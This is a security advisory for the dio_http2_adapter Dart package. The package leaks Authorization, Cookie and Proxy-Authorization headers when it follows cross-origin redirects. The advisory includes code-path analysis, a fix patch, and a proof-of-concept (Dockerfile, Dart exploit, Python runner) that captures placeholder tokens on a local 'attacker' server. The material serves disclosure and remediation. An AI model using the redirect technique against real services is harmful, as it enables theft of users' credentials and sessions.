GHSA-cr65-55v9-xhvv: Infoleak

Published Oct 15, 2026
·
Updated

Summary

diohttp2adapter follows HTTP Location redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin 302 redirect receives the victim's Authorization, Cookie, and Proxy-Authorization headers verbatim. This vulnerability has a CVSS v3.1 base score of 7.5 (High) because followRedirects is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high.

Details

When Dio is configured to use Http2Adapter, the adapter's internal fetch method constructs HTTP/2 request headers by unconditionally copying all entries from options.headers:

dart // plugins/http2adapter/lib/src/http2adapter.dart:111 headers.addAll( options.headers.entries.map((entry) { ... return Header.ascii(entry.key.toLowerCase(), v); }).toList(), );

On receiving a 3xx response, the adapter reads the Location header and resolves the redirect target URI:

dart // plugins/http2adapter/lib/src/http2adapter.dart:254-263 final url = responseHeaders.value('location'); final uri = Uri.parse(url ?? ''); final String path = resolveRedirectUri(options.uri, uri).toString(); return fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...);

options.copyWith is called without an explicit headers argument; dio/lib/src/options.dart:629 therefore preserves the full original header map via headers ?? Map.from(this.headers). resolveRedirectUri (http2adapter.dart:290) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers — including Authorization, Cookie, and Proxy-Authorization — is forwarded to the new authority with no sanitization.

Data flow (source → sink):

1. dio/lib/src/diomixin.dart:383 — public Dio.request<T>(String path, ...) entry point. 2. dio/lib/src/options.dart:331 — base and per-request headers merged into RequestOptions. 3. dio/lib/src/diomixin.dart:596 — httpClientAdapter.fetch(reqOpt, ...) dispatches to Http2Adapter. 4. plugins/http2adapter/lib/src/http2adapter.dart:254 — Location header is read from the network response (attacker-controlled source). 5. plugins/http2adapter/lib/src/http2adapter.dart:258 — redirect target URI resolved; cross-origin check absent. 6. plugins/http2adapter/lib/src/http2adapter.dart:260 — options.copyWith(path: path, ...) called without headers override. 7. dio/lib/src/options.dart:629 — copyWith preserves Map.from(this.headers) — all sensitive headers retained. 8. plugins/http2adapter/lib/src/http2adapter.dart:111 — preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink).

Suggested patch — strip sensitive headers before following a cross-origin redirect:

diff --- a/plugins/http2adapter/lib/src/http2adapter.dart +++ b/plugins/http2adapter/lib/src/http2adapter.dart + static const sensitiveRedirectHeaders = { + 'authorization', + 'cookie', + 'proxy-authorization', + }; + - final String path = resolveRedirectUri(options.uri, uri).toString(); + final redirectUri = resolveRedirectUri(options.uri, uri); + final redirectOptions = options.copyWith( + path: redirectUri.toString(), + maxRedirects: --options.maxRedirects, + ); + if (!sameOrigin(options.uri, redirectUri)) { + redirectOptions.headers.removeWhere( + (name, ) => sensitiveRedirectHeaders.contains(name.toLowerCase()), + ); + } return fetch( - options.copyWith(path: path, maxRedirects: --options.maxRedirects), + redirectOptions, list != null ? Stream.fromIterable(list) : null, cancelFuture, redirects, ); + + static bool sameOrigin(Uri a, Uri b) => + a.scheme == b.scheme && a.host == b.host && a.port == b.port;

PoC

The following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required).

Prerequisites:

- Docker installed and accessible. - Repository checked out at the path used as the build context.

Build and run:

bash From the repository root (githubweb81cfugdio/) docker build -f vuln-001/Dockerfile -t dio-vuln-001:poc . docker run --rm --network none dio-vuln-001:poc

What the container does:

1. Starts an origin h2c server on 127.0.0.1:18081 that immediately returns 302 Location: http://127.0.0.1:18082/capture. 2. Starts an attacker h2c server on 127.0.0.1:18082 that logs every received header. 3. Executes the following Dart exploit:

dart final dio = Dio() ..httpClientAdapter = Http2Adapter(ConnectionManager()); await dio.get( 'http://127.0.0.1:18081/start', options: Options(headers: { 'Authorization': 'Bearer SECRETTOKEN12345', 'Cookie': 'sid=SECRETSESSIONABC', 'x-secret': 'internal-secret-value', }), );

Expected output (confirms vulnerability):

RESULT=VULNCONFIRMED LEAKEDHEADER=authorization: Bearer SECRETTOKEN12345 LEAKEDCOOKIE=sid=SECRETSESSIONABC

[ATTACKER] Received headers: [ATTACKER] authorization: Bearer SECRETTOKEN12345 [ATTACKER] cookie: sid=SECRETSESSIONABC [ATTACKER] x-secret: internal-secret-value

The attacker server at 127.0.0.1:18082 receives all three sensitive headers, demonstrating that Http2Adapter forwards them verbatim across the cross-origin redirect with no stripping.

Impact

This is a sensitive information disclosure vulnerability. Any application that:

1. configures Dio with Http2Adapter, and 2. sends requests carrying Authorization, Cookie, or Proxy-Authorization headers,

is affected. Because followRedirects defaults to true and maxRedirects defaults to 5, no additional configuration is needed to trigger the bug.

An attacker who controls — or can compromise — any HTTP server that the victim application contacts can issue a 302 redirect to an attacker-owned server and thereby capture the victim's bearer tokens, session cookies, or proxy credentials. The attack requires no prior authentication and is executable over the network with low complexity. Stolen credentials may then be used to impersonate the victim against the original service or any other service that accepts the same token.

Affected parties include server-side Dart/Flutter applications and CLI tools that make authenticated HTTP/2 requests through diohttp2adapter.

Reproduction artifacts

Dockerfile

dockerfile Dockerfile for VULN-001 dynamic reproduction Vulnerability: Cross-origin redirect leaks sensitive request headers in diohttp2adapter Build context: the parent directory (githubweb81cfugdio/) docker build -f vuln-001/Dockerfile -t dio-vuln-001 . What this image does: 1. Installs Dart SDK (stable) 2. Copies the vulnerable repository source (dio + diohttp2adapter) 3. Creates a PoC Dart project using path dependencies to the local source 4. Resolves pub packages 5. On container run: executes the exploit script that starts two local h2c servers (origin + attacker) and makes a redirected request to prove that Authorization/Cookie headers are forwarded to the cross-origin target

FROM dart:stable AS builder

── Repository source ────────────────────────────────────────────────────────── Copy only the packages we need to keep image small COPY repo/dio/ /repo/dio/ COPY repo/plugins/http2adapter/ /repo/plugins/http2adapter/

── PoC project setup ────────────────────────────────────────────────────────── WORKDIR /poc

COPY vuln-001/pocpubspec.yaml pubspec.yaml COPY vuln-001/pocexploit.dart lib/main.dart

Resolve dependencies (requires network access to pub.dev for http2, meta, etc.) RUN dart pub get

── Runtime image (reuse builder to keep it simple) ──────────────────────────── FROM builder AS final

WORKDIR /poc

Run the exploit; exit code: 0 = VULNCONFIRMED (authorization header leaked to attacker) 1 = NOTVULNERABLE (header was stripped or redirect not followed) 2 = FAIL (attacker server never received a request — env issue) CMD ["dart", "run", "lib/main.dart"]

poc.py

python #!/usr/bin/env python3 """ PoC orchestrator for VULN-001: Cross-origin redirect leaks sensitive request headers in diohttp2adapter.

Usage: python3 poc.py [--image-tag TAG]

What it does: 1. Builds a Docker image containing the vulnerable diohttp2adapter source and a Dart exploit script (pocexploit.dart). 2. Runs the container, which: a. Starts two local h2c (HTTP/2 cleartext) servers inside the container: - Origin (127.0.0.1:18081): returns 302 → attacker - Attacker (127.0.0.1:18082): logs all received headers b. Uses dio + Http2Adapter to GET http://origin/start with Authorization and Cookie headers. c. Follows the 302 redirect to the attacker server. d. Reports whether the Authorization header was captured by the attacker. 3. Writes phase2result.json with structured verdict.

Exit codes: 0 PASS — vulnerability confirmed 1 FAIL — not reproduced 2 ERROR — build or runtime environment problem """

import argparse import json import os import subprocess import sys import textwrap from pathlib import Path

── Paths ────────────────────────────────────────────────────────────────────── SCRIPTDIR = Path(file).resolve().parent REPOROOT = SCRIPTDIR.parent # githubweb81cfugdio/ RESULTFILE = SCRIPTDIR / "phase2result.json"

BUILDCONTEXT = str(REPOROOT) DOCKERFILE = str(SCRIPTDIR / "Dockerfile") DEFAULTIMAGETAG = "dio-vuln-001:poc"

def run(cmd: list[str], kwargs) -> subprocess.CompletedProcess: """Run a subprocess command, streaming stdout/stderr to the terminal.""" print(f"[+] {' '.join(cmd)}", flush=True) return subprocess.run(cmd, kwargs)

def buildimage(tag: str) -> bool: """Build the Docker image. Returns True on success.""" result = run( [ "docker", "build", "--file", DOCKERFILE, "--tag", tag, BUILDCONTEXT, ], check=False, ) if result.returncode != 0: print(f"[!] Docker build failed (exit {result.returncode})", file=sys.stderr) return False return True

def runcontainer(tag: str, timeoutsec: int = 120) -> tuple[int, str, str]: """ Run the container and capture its output.

Returns: (returncode, stdout, stderr) """ result = run( [ "docker", "run", "--rm", "--network", "none", # no external network; loopback only tag, ], captureoutput=True, text=True, timeout=timeoutsec, check=False, ) return result.returncode, result.stdout, result.stderr

def parseoutput(stdout: str, stderr: str) -> dict: """ Parse structured key=value lines from the exploit's stdout.

The Dart exploit writes lines like: RESULT=VULNCONFIRMED LEAKEDHEADER=authorization: Bearer SECRETTOKEN12345 EVIDENCE=... """ parsed = {} for line in stdout.splitlines(): if "=" in line: key, , val = line.partition("=") parsed[key.strip()] = val.strip() return parsed

def writeresult(data: dict) -> None: with open(RESULTFILE, "w", encoding="utf-8") as f: json.dump(data, f, ensureascii=False, indent=2) print(f"\n[+] Result written to {RESULTFILE}")

def main() -> int: parser = argparse.ArgumentParser(description=doc) parser.addargument( "--image-tag", default=DEFAULTIMAGETAG, help=f"Docker image tag (default: {DEFAULTIMAGETAG})", ) args = parser.parseargs() tag = args.imagetag

buildcmd = ( f"docker build -f vuln-001/Dockerfile -t {tag} ." ) runcmd = ( f"docker run --rm --network none {tag}" ) poccmd = ( f"cd {REPOROOT} && {buildcmd} && {runcmd}" )

# ── Step 1: Build ────────────────────────────────────────────────────────── print("=" 70) print("STEP 1: Building Docker image") print("=" 70) if not buildimage(tag): resultdata = { "passed": False, "verdict": "FAIL", "reason": "Docker image build failed — dart pub get or source copy error", "buildcommand": f"cd {REPOROOT} && {buildcmd}", "runcommand": runcmd, "poccommand": poccmd, "evidence": "docker build non-zero exit code", "artifacts": ["Dockerfile", "pocexploit.dart", "pocpubspec.yaml"], } writeresult(resultdata) return 2

# ── Step 2: Run exploit ──────────────────────────────────────────────────── print("\n" + "=" 70) print("STEP 2: Running exploit container") print("=" 70)

try: returncode, stdout, stderr = runcontainer(tag) except subprocess.TimeoutExpired: resultdata = { "passed": False, "verdict": "INCOMPLETE", "reason": "Container execution did not complete within 120 seconds and was terminated due to timeout", "buildcommand": f"cd {REPOROOT} && {buildcmd}", "runcommand": runcmd, "poccommand": poccmd, "evidence": "subprocess.TimeoutExpired after 120 s", "artifacts": ["Dockerfile", "pocexploit.dart", "pocpubspec.yaml"], } writeresult(resultdata) return 2

print("\n── Container STDOUT ─────────────────────────────────────────────") print(stdout or "(empty)") print("── Container STDERR ─────────────────────────────────────────────") print(stderr or "(empty)") print("── Exit code:", returncode, "─────────────────────────────────────")

# ── Step 3: Evaluate results ─────────────────────────────────────────────── parsed = parseoutput(stdout, stderr) exploitresult = parsed.get("RESULT", "") leakedheader = parsed.get("LEAKEDHEADER", "") evidenceline = parsed.get("EVIDENCE", "")

if returncode == 0 and exploitresult == "VULNCONFIRMED" and leakedheader: # Combine stdout + a snippet of stderr for the evidence field stderrsnippet = "\n".join( line for line in stderr.splitlines() if any(tag in line for tag in ("[ATTACKER]", "[RESULT]", "[EVIDENCE]")) )[:1500] evidence = ( f"stdout: {stdout.strip()}\n\n" f"stderr (relevant):\n{stderrsnippet}" ) resultdata = { "passed": True, "verdict": "PASS", "reason": ( "diohttp2adapter forwarded the original Authorization header verbatim " "to the attacker's server without stripping it when following a " "cross-origin 302 redirect. The attacker h2c server (127.0.0.1:18082) " f"received '{leakedheader}'." ), "buildcommand": f"cd {REPOROOT} && {buildcmd}", "runcommand": runcmd, "poccommand": poccmd, "evidence": evidence, "artifacts": [ "Dockerfile", "pocexploit.dart", "pocpubspec.yaml", "poc.py", ], } writeresult(resultdata) print("\n[PASS] VULN-001 reproduced successfully.") return 0

elif returncode == 1 or exploitresult == "NOTVULNERABLE": resultdata = { "passed": False, "verdict": "FAIL", "reason": ( "Container execution succeeded, but the attacker server did not " "receive the Authorization header. The vulnerability was not " f"reproduced in this environment. Parsed result: {parsed}" ), "buildcommand": f"cd {REPOROOT} && {buildcmd}", "runcommand": runcmd, "poccommand": poccmd, "evidence": stdout + "\n" + stderr, "artifacts": ["Dockerfile", "pocexploit.dart", "pocpubspec.yaml"], } writeresult(resultdata) print("\n[FAIL] Vulnerability not reproduced.") return 1

else: # returncode == 2 or other unexpected failure resultdata = { "passed": False, "verdict": "INCOMPLETE", "reason": ( f"Container execution failed or exited with an unexpected code {returncode}. " "Cause: h2c server startup error, network issue, or Dart runtime " "error. Check the stderr log and retry without --network none." ), "buildcommand": f"cd {REPOROOT} && {buildcmd}", "runcommand": runcmd, "poccommand": poccmd, "evidence": f"exit={returncode}\nstdout={stdout}\nstderr={stderr}", "artifacts": ["Dockerfile", "pocexploit.dart", "pocpubspec.yaml"], } writeresult(resultdata) print(f"\n[INCOMPLETE] Container exited with code {returncode}.") return 2

if name == "main": sys.exit(main())

Affected Software

1 affected componentFixes available
pub/dio_http2_adapter>=1.0.0<=2.7.1
2.8.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pub/dio_http2_adapter to a version that resolves this vulnerability.

    Fixed in 2.8.0
  2. Configuration

    Before following a redirect, compare the original and target origins; when they differ, remove the Authorization, Cookie, and Proxy-Authorization headers from redirectOptions.headers before issuing the redirected request.

    dio_http2_adapter cross-origin redirect sensitive-header forwarding = strip authorization, cookie, and proxy-authorization

Event History

Oct 15, 2026
Advisory Published
via GitHub·08:18 PM
Data Sourced
via GitHub·08:18 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which applications are exposed?

Applications using Dio with Http2Adapter are exposed when requests can include Authorization, Cookie, or Proxy-Authorization headers. Redirect following is enabled by default, so affected requests do not require an application to explicitly enable redirects.

2

What does an attacker need to exploit this issue?

An attacker needs to cause an origin server to return a 302 redirect whose Location points to a different origin. No authentication or user interaction is required for exploitation.

3

How can I determine whether sensitive data may already have been exposed?

Review uses of Http2Adapter for requests that send Authorization, Cookie, or Proxy-Authorization headers and may follow redirects. A cross-origin 3xx response for any such request would send those headers verbatim to the redirect target.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203